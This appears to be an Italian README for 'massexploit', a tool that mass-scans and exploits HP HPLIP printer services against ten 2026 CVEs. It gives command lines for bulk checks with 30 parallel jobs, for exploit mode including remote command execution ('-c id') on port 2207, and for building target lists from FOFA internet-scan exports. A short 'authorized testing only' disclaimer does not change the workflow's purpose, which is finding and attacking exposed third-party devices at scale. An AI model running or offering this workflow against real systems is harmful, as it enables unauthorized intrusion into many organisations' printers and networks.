massexploit — checker massivo CVE HP HPLIP (2026-09)
Driver per check massivo e ricerca exploit per HP HPLIP < 3.26.6 — da CVE-2026-91097 a CVE-2026-91106.
| CVE | CVSS 4 | CWE | Remoto |
|---|
| CVE-2026-91097 | 7.0 | CWE-787 | sì (UI) |
| CVE-2026-91098 | 8.6 | CWE-122 | sì (UI) |
| CVE-2026-91099 | 5.1 | CWE-61 | locale |
| CVE-2026-91100 | 6.8 | CWE-78 | locale |
| CVE-2026-91102 | 8.4 | CWE-78 | locale |
| CVE-2026-91101 | 5.1 | CWE-129 | fisico |
| CVE-2026-91103 | 5.1 | CWE-191 | fisico |
| CVE-2026-91104 | 9.3 | CWE-122 | sì |
| CVE-2026-91105 | 8.6 | CWE-122 | sì (UI) |
| CVE-2026-91106 | 9.3 | CWE-122 | sì |
Corretto: HPLIP 3.26.6+
Riepilogo
I risultati FOFA body="hplip" sono spesso :8000 PAPPL, non :2207. Usa host:port nelle liste di target.
Screenshot (check massivo --flow)
Requisiti
- Python 3.9+
pip install -r requirements.txt
Utilizzo
pip install -r requirements.txt
# Target singolo (porte predefinite 631, 2207, 9100 se non specificata la porta)
python poc.py -u 192.0.2.10 --mode check
# Porta FOFA (consigliato)
python poc.py -u 192.0.2.10:8000 --mode check --flow
# Massivo — tutte le 10 CVE
python poc.py --list targets.example.txt --mode check -j 30 -q --flow
# Solo CVE heap di rete critiche
python poc.py --list list_hplip_printer.txt --mode check --cve CVE-2026-91104,CVE-2026-91106
# Ricerca exploit (PAPPL su :8000 → IPP raster; -c id ha senso solo su hpssd:2207)
python poc.py -u 192.0.2.10:8000 --mode exploit --cve CVE-2026-91106
python poc.py -u 192.0.2.10:2207 --mode exploit --cve CVE-2026-91100 -c id
FOFA → lista di target
# Salva l'export come fofa_csv_1049.csv (oppure passa -i)
python fofa_to_list.py
# list.txt (tutti) + list_hplip_printer.txt (indizio titolo = HPLIP Printer Application)
python poc.py --list list_hplip_printer.txt --mode check -j 30 --flow
192.0.2.10:8000
192.0.2.11:2207
192.0.2.12|CVE-2026-91106
Le righe con |CVE… usano la parte prima di | come host (indizio CVE opzionale per l'output dei risultati).
CLI
Output
| File | Contenuto |
|---|
massexploit_results.jsonl | JSON completo per host |
hits.txt | Candidati (host|cve,…) |
Valori status comuni del check
| Status | Significato |
|---|
hplip_surface_candidate | Porta aperta + mapping versione/CVE |
|
Aspettative exploit
| Status | Significato |
|---|
pappl_raster_sent_no_shell_output | IPP/raster inviato sulla porta PAPPL; nessun id in HTTP (classe heap RCE) |
Struttura del repository
.
├── poc.py
├── cve_catalog.py
├── hplip_probes.py
├── hplip_exploit.py
├── pappl_ipp.py
├── pappl_raster.py
├── fofa_to_list.py
├── image.png
├── targets.example.txt
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
Limitazioni
- Non è uno scanner web generico — superfici printing / HPLIP TCP+HTTP.
- Nessun RCE weaponized pubblico per 91104/91106 su PAPPL; il percorso raster è ricerca allineata a ZDI-26-656.
- CVE fisiche/locali elencate per
--cve all ma non sfruttabili da remoto su larga scala.
- Solo test autorizzati.
Riferimenti
Legale
Solo per test di sicurezza autorizzati. Sei responsabile del rispetto delle leggi applicabili e delle regole del programma.
